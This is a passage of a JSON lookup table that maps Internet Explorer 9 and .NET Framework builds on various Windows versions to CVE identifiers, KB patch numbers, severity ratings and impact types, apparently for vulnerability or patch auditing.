Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Vista Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Internet Explorer 9 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040975","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578963","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows RT 8.1":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040973","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040971","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040972","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 